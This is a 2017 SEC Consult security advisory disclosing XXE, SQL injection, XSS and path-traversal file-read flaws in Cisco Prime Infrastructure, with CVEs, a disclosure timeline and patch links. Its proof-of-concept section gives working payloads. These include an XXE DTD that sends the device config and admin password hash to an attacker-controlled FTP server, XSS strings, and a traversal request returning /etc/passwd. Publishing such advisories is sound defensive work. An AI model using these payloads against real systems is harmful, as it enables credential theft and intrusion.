Cisco Prime Infrastructure 3.1.6 XXE Injection / XSS / LFD / SQL Injection

`SEC Consult Vulnerability Lab Security Advisory < 20170622-0 >  
=======================================================================  
title: XML External Entity Injection (XXE),  
SQL Injection, Cross Site Scripting,  
Local File Disclosure  
product: Cisco Prime Infrastructure  
vulnerable version: 1.1 through 3.1.6  
fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release)  
CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700  
impact: high  
homepage:  
http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html  
found: 2016-11-21  
by: P. Morimoto (Office Bangkok)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Cisco Systems, Inc. (known as Cisco) is an American multinational technology  
conglomerate headquartered in San JosA(c), California, that develops,  
manufactures, and sells networking hardware, telecommunications equipment,  
and other high-technology services and products. Through its numerous acquired  
subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper,  
Cisco specializes into specific tech markets, such as Internet of Things (IoT),  
domain security, and energy management."  
  
Source: https://en.wikipedia.org/wiki/Cisco_Systems  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends to install the latest patch to fix the identified  
vulnerabilities. Furthermore, the Cisco Prime Infrastructure should be  
reachable only from trusted internal network and/or whitelisted IP addresses.  
  
Since SEC Consult only performed a short security crash test on this product  
it is highly recommended to perform a thorough security review as there are  
indications for further vulnerabilities.  
  
  
Vulnerability overview/description:  
-----------------------------------  
SEC Consult was able to identify some serious vulnerabilities with the  
low privileged "monitor-only" user.  
  
1) XML External Entity Injection (CVE-2017-6662)  
The used XML parser is resolving external XML entities which allows attackers  
to read files and send requests to systems on the internal network (e.g port  
scanning).  
  
The vulnerability can be exploited by a low privileged read-only user  
to read sensitive information files with malicious XML code.  
  
The hashed password of the local admin user can be accessed without  
authorization.  
  
2) SQL Injection (CVE-2017-6698)  
The identified SQL injection vulnerability enables an authenticated attacker  
with low privileges to execute arbitrary SQL commands.  
  
3) Cross site scripting (CVE-2017-6699, CVE-2017-6700)  
Due to the lack of input validation, an attacker can insert malicious JavaScript  
code to be executed under a victim's browser context.  
  
4) Local File Disclosure (no CVE assigned)  
Because of insufficient input validation, arbitrary local files can be  
disclosed. Files that include passwords and other sensitive information can  
be accessed.  
  
  
Proof of concept:  
-----------------  
1) XML External Entity Injection (CVE-2017-6662)  
Login with a low privileged user and navigate to Settings > Export >  
select Format 'PDF' click 'Export'.  
Make sure the 'Chart' option is selected, this chart uses XML to build SVG  
images.  
  
POST /webacs/prime/ui/dashboard/renderer HTTP/1.1  
Host: <CiscoPrimeHost>  
[...]  
  
output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE  
x [<!ENTITY %25 foo SYSTEM  
\"http://<AttackerHost>:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D  
  
$ cat sectest.dtd  
<!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config">  
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>">  
  
$ python -m SimpleHTTPServer 1234  
$ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb  
$ ruby xxe-ftp-server.rb  
FTP. New client connected  
< USER anonymous  
< PASS Java1.8.0_66@  
> 230 more data please!  
< TYPE I  
> 230 more data please!  
< CWD !  
> 230 more data please!  
< hostname <CiscoPrimeHost>  
[...]  
< !  
> 230 more data please!  
< username admin password hash <AdminHashedPassword>  
> 230 more data please!  
< CWD role admin  
> 230 more data please!  
< !  
[...]  
  
  
2) SQL Injection (CVE-2017-6698)  
A low privileged user such as "monitor-only" user can read the admin's  
password hashes via SQL injection.  
  
https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=<SQL-Injection>&path=%2Froot  
  
Some vulnerable entry points require administrator privileges to exploit.  
https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=<SQL-Injection>  
  
https://<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/<SQL-Injection>&ipAddress=/<SQL-Injection>&time=/<SQL-Injection>&auditDescription=/<SQL-Injection>&userGroup=/<SQL-Injection>&activeDomain=/<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection>  
https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobs/<SQL-Injection>/Lightweight%20AP%20Operational%20Status  
  
Some URLs with this pattern are affected by the SQL injection vulnerability  
in the JSON field.  
https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/  
(HTTP POST)  
{  
"items": [  
"<SQL-Injection>",  
"ProxyPort",  
"ProxyUserName",  
"ProxyPassword",  
"isProxyEnabled",  
"isProxyAuthenticated"  
]  
}  
  
https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/  
(HTTP POST)  
{  
"items": [  
"<SQL-Injection>",  
"CCOPassword"  
]  
}  
  
  
3) Cross site scripting  
  
a) Reflected cross site scripting (CVE-2017-6699)  
https://<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=<img+src=x+onerror=alert(/XSS1/)>&confUrl=</ScR</ScRipT>ipT><img+src=x+onerror=alert(/XSS2/)>  
https://<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=</sc</script>ript><img+src=x+onerror=alert(/XSS1/)>&jobResultPageId='><img+src=x+onerror=alert(/XSS2/)>  
  
b) DOM-based cross site scripting (CVE-2017-6700)  
https://<CiscoPrimeHost>/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=<ExistingTaskID>&jobName="><img  
src=x onerror=alert(/XSS/)>&pageSettings=  
https://<CiscoPrimeHost>/webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=<ExistingJobId>&lastRunResultState=Success&jobId=<ExistingJobId>&jobName=Mobility  
Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)>  
  
  
4) Local File Disclosure  
The attacker must be in the super users or admin group in order to exploit this  
vulnerability.  
  
https://<CiscoPrimeHost>/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd  
  
GET  
/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd  
HTTP/1.1  
Host: <CiscoPrimeHost>  
[...]  
HTTP/1.1 200 OK  
Cache-Control: private  
Expires: Thu, 01 Jan 1970 01:00:00 CET  
Content-Disposition: attachement;  
filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip"  
Content-Type: application/zip  
[...]  
  
$ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip  
Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip  
warning: skipped "../" path component(s) in  
../../../../../../../../../../../../../../../../../../../../etc/passwd  
inflating: etc/passwd  
  
$ cat etc/passwd  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
[...]  
  
  
Vulnerable / tested versions:  
-----------------------------  
According to information provided by Cisco, the following versions are affected:  
1.1 through 3.1.6  
  
SEC Consult tested the following versions which were the most recent ones at the  
time of discovery:  
* 3.1.0.0.70  
* 3.1.0.0.132 incl. 3.1.4 patch  
  
  
Vendor contact timeline:  
------------------------  
2016-11-23: Contacting vendor through [email protected].  
2016-11-23: Initial response from Cisco PSIRT.  
2016-11-24: Additional vulnerabilities added.  
2016-12-14: Cisco proposed target date for the fixes for March 2017.  
2017-03-03: Cisco postponed target date for the fixes to 31 May 2017.  
2017-05-16: Cisco postponed target date for the fixes to 21 June 2017.  
2017-06-14: CVEs are assigned to the vulnerabilities.  
2017-06-21: Patches available  
2017-06-22: Coordinated release of security advisory.  
  
  
Solution:  
---------  
Install the patch version 3.1.6 Update 1.  
  
Download URL for the patch:  
https://software.cisco.com/download/release.html?mdfid=286304360&catid=268439477&softwareid=284272933&release=3.1.6&relind=AVAILABLE&rellifecycle=&reltype=latest  
  
For more details about the fixes can be found within the Cisco security advisories:  
  
Vuln 1) Cisco Prime Infrastructure and Evolved Programmable Network Manager XML  
Injection Vulnerability (CVE-2017-6662)  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm1  
  
Vuln 2) Cisco Prime Infrastructure and Evolved Programmable Network Manager SQL  
Injection Vulnerability (CVE-2017-6698)  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm2  
  
Vuln 3a) Cisco Prime Infrastructure and Evolved Programmable Network Manager  
Reflected Cross-Site Scripting Vulnerability (CVE-2017-6699)  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm3  
  
Vuln 3b) Cisco Prime Infrastructure and Evolved Programmable Network Manager DOM  
Cross-Site Scripting Vulnerability (CVE-2017-6700)  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm4  
  
  
Vuln 4) Local file disclosure (no CVE assigned because of lower CVSSv3 score)  
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvc25573  
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvc49548  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It  
ensures the continued knowledge gain of SEC Consult in the field of network  
and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://www.sec-consult.com/en/Career.htm  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF Pichaya Morimoto / @2017  
  
`